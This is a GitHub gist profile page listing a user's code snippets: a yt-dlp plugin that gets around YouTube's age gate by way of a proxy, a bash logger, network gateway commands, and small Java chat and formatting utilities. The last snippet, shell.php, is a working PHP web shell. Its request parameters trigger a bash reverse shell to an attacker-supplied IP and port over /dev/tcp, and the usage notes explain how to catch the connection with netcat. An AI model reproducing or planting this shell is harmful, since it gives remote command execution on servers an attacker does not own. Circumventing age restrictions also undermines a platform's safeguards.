Skip to content

Instantly share code, notes, and snippets.

View Spotlightsrule's full-sized avatar

Spotlightsrule Spotlightsrule

  • Spotrealms Network
View GitHub Profile
@Spotlightsrule
Spotlightsrule / Youtube_AgeGateBypass.py
Created August 10, 2022 02:19 — forked from pukkandan/Project moved
yt-dlp plugin to bypass youtube age-gate
"""
SPDX-License-Identifier: MIT https://opensource.org/licenses/MIT
Copyright © 2022 [email protected]
yt-dlp plugin extractor to bypass youtube age-gate
Needs yt-dlp 2022.04.08 or above
See https://github.com/yt-dlp/yt-dlp#plugins for how to use
Uses account proxy https://youtube-proxy.zerody.one by https://github.com/zerodytrash
@Spotlightsrule
Spotlightsrule / log.sh
Last active August 2, 2022 08:29
Simple logger for bash scripts
#!/bin/bash
## SETUP (DO NOT EDIT) ##
logfile_name=${logfile_prefix}$(date +$logfile_date_format)"."${logfile_ext}
logfile_working_path=${logfile_location}"/"${logfile_name}
## -- ##
## FUNCTIONS ##
# log(contents) -> void
Default Gateway
Linux/Unix (for gateway): Determine which to use via "type netstat", skipping to the second if this check fails (contains the word "not found")
netstat -nr -f inet | grep "UG" | tail -1 | awk "{print $2}"
ip route | grep "^default" | head -1 | awk "{print $3}"
Linux/Unix (for base addr): Determine which to use via "type netstat", skipping to the second if this check fails (contains the word "not found")
netstat -nr -f inet | grep "U " | tail -1 | awk "{print $1}"
ip route | tail -1 | awk "{print $1}"
MacOS (for gateway):
@Spotlightsrule
Spotlightsrule / AntiCapsTest.java
Last active June 28, 2020 09:15
A small chat moderation tool used to detect the use excessive "caps", or capital letters in a message
//Import Java classes and dependencies
import java.util.Arrays;
/**
* A small chat moderation tool used to detect the
* use excessive "caps", or capital letters in a
* message. Has a default tolerance of 50% and
* minimum string length of 10, but these values
* can be tweaked. Also contains static string
* character analysis methods for aiding in the
@Spotlightsrule
Spotlightsrule / BukkitFormatting.java
Created January 19, 2019 09:42
Transform Bukkit formatting codes to lowercase to avoid console display problems. USAGE: BukkitFormatting.fixCodesToLowerCase(strIn);
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class BukkitFormatting {
public static String fixCodesToLowerCase(String codeStr){
//Create a StringBuilder to hold the input string
StringBuilder codeSB = new StringBuilder(codeStr);
//Set the pattern to use on the string (section sign + color code)
Pattern codePtn = Pattern.compile("\\u00A7[A-FK-OR]", Pattern.CASE_INSENSITIVE);
@Spotlightsrule
Spotlightsrule / EveryOther.java
Created October 24, 2018 19:23
Evens and Odds From Two Numbers
import java.util.ArrayList;
public class EveryOther {
public static ArrayList<Integer> everyOdd(int sNum, int eNum){
//Make the arraylist to hold the numbers
ArrayList<Integer> oddArr = new ArrayList<>();
//Start looping through the provided range of numbers
for(int i=sNum; i<=eNum; i++){
//Check if the number isn't divisible by two
@Spotlightsrule
Spotlightsrule / shell.php
Last active March 29, 2018 19:46 — forked from rshipp/shell.php
A tiny PHP/bash reverse shell.
<?php
if (isset ($_REQUEST["shell"])){$ip = $_REQUEST["ip"];$port = $_REQUEST["port"];exec("/bin/bash -c 'bash -i >& /dev/tcp/$ip/$port 0>&1'");}
?>
<!--
USAGE (reverse shell/server): url-to-file.php?shell&ip=<attacker ip>&port=<attacker port>
USAGE (reverse shell/client): (in netcat) nc -v -l -p <attacker port>
NOTE (reverse shell): The ip (lan if on the same network, wan if it's a remote server) and port of the attacker and target must be the same or else no connection will be established.
-->